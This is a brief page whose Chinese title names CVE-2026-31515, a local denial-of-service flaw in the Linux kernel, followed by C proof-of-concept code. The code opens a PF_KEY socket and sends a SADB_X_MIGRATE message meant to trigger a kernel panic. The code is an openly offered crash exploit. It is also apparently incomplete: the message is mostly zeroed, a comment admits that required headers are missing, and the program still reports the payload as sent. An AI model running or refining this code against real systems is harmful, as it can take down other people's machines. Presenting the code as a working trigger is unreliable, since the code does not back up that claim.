CVE-2026-31515 Linux内核本地拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-31515 * Trigger skb_over_panic in pfkey_send_migrate via invalid family */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/pfkeyv2.h> int main() { int fd; char buffer[256]; struct sadb_msg *msg = (struct sadb_msg *)buffer; fd = socket(AF_KEY, SOCK_RAW, PF_KEY_V2); if (fd < 0) { perror("socket"); return 1; } memset(buffer, 0, sizeof(buffer)); msg->sadb_msg_version = PF_KEY_V2; msg->sadb_msg_type = SADB_X_MIGRATE; msg->sadb_msg_len = sizeof(buffer) / 8; // Crafted message to trigger the vulnerability path // Specific headers required to reach set_ipsecrequest with truncation if (write(fd, buffer, sizeof(buffer)) < 0) { perror("write"); } else { printf("PoC payload sent. Check dmesg for crash.\n"); } close(fd); return 0; }